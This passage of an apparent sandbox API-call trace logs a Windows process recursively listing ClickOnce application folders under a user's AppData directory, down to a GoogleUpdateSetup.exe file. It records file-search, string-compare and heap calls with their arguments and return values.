0x221a2f0 [0096.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a418 [0096.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.791] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0096.791] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.791] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.792] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.792] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.792] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x654d88 [0096.792] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.792] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0096.792] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0096.793] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.793] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x654d88 | out: hHeap=0x5b0000) returned 1 [0096.793] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221a418 | out: hHeap=0x5b0000) returned 1 [0096.793] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0096.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a418 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221a2f0 | out: hHeap=0x5b0000) returned 1 [0096.793] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0096.793] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0096.793] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.793] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0096.793] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221a418 | out: hHeap=0x5b0000) returned 1 [0096.793] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221a1c8 | out: hHeap=0x5b0000) returned 1 [0096.793] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0096.793] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b320 [0096.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221a0a0 | out: hHeap=0x5b0000) returned 1 [0096.793] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0096.793] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.794] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.794] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0096.794] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0 [0096.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b320 | out: hHeap=0x5b0000) returned 1 [0096.794] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0096.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b268 | out: hHeap=0x5b0000) returned 1 [0096.794] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0096.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5e9290 [0096.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.794] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.796] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.796] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0 [0096.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0096.797] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0096.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694300 | out: hHeap=0x5b0000) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0096.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2218168 | out: hHeap=0x5b0000) returned 1 [0096.797] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.797] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.797] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0096.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.797] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1 [0096.797] lstrcmpW (lpString1="DQQ19BCJ.JAX", lpString2=".") returned 1 [0096.798] lstrcmpW (lpString1="DQQ19BCJ.JAX", lpString2="..") returned 1 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5d0838 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694300 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.798] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.798] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.798] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.798] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.798] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.798] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0096.798] lstrcmpW (lpString1="YVORLGOR.PNT", lpString2=".") returned 1 [0096.798] lstrcmpW (lpString1="YVORLGOR.PNT", lpString2="..") returned 1 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d538 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5e9ca0 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x6532b8 [0096.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.798] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.798] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.799] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.799] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.799] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.799] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0096.799] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpString2=".") returned 1 [0096.799] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", lpString2="..") returned 1 [0096.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0096.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x653360 [0096.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a0a0 [0096.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x653360 | out: hHeap=0x5b0000) returned 1 [0096.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.799] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a1c8 [0096.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.799] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.799] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.801] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.801] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0096.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.801] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 